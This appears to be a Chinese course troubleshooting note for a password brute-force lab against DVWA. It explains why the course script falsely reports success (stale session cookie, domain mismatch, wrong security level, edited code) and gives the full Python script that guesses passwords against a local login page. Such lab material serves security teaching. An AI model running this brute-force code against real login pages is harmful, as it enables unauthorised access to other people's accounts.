httpconn暴破dvwa第一个密码0000提示破解成功

# 课程信息
课程：密码暴力猜解与防御-1.5-python实现暴力破解
靶场：dvwa
代码：httpconn.py

# 问题现象
第一个密码就提示破解成功（0000）

![](/media/202401/2024-01-11_172607_1742800.8132800181145236.png)

# 代码逻辑
先说说代码的逻辑：
```
    if 'Username and/or password incorrect.' in resp.text:
        print('破解失败：'+pwd, end='')
    else:
        print('破解成功：'+pwd, end='')
        break;
```
只要HTTP响应内容没有出现``Username and/or password incorrect.`` 都认为是破解成功。
那么除了密码错误之外的各种异常情况，都会提示暴破成功。

# 问题1：PHPSESSID没有使用最新已登录的
代码中已经有提示，PHPSESSID务必替换为登录以后的PHPSESSID。
方法：
F12打开开发者工具，打开Network选项卡，刷新网页，点击任何一个请求，把PHPSESSID复制出来，粘贴到代码httpconn.py中

# 问题2：登录的域名和代码中的域名不同
比如，打开靶场登录的域名是 ``http://dvwa`` 或者``http://127.0.0.1``。
而代码里面的域名是``http://localhost/``，这三个不同的域名，cookie是不能共享的。
所以解决办法就是用浏览器打开``http://localhost/dvwa/``，重新登录，复制PHPSESSID。

# 问题3：安全级别错误

这种情况下靶场没有漏洞，自然不会返回``Username and/or password incorrect.``这个关键词，代码误判断为登录成功。

比如这个同学：HTTP请求里面security里面出现了两个值：

![](/media/202401/2024-01-11_172407_3234890.7662746829473603.png)

必须要把安全级别设置为``low``。
如果改了以后不生效，必须要清空浏览器缓存：Ctrl+Shift+Del键

# 问题4：代码修改出现错误
这里面只修改PHPSESSID的值和字典路径，其他的不要动。
比如有学员把`Login`写成了`login`，后台不识别。

```
# -*- coding: utf-8 -*-
# python 3

import requests
# 如果第一个密码就提示成功，是 PHPSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
    url = "http://localhost/dvwa/vulnerabilities/brute/"
    # PHPSESSID务必替换为登录以后的PHPSESSID
    resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=himu84h1ia6vsvklt76c9juhqd"})
    #print(resp.text)
    if 'Username and/or password incorrect.' in resp.text:
        print('破解失败：'+pwd, end='')
    else:
        print('破解成功：'+pwd, end='')
        break;
pwds.close()
```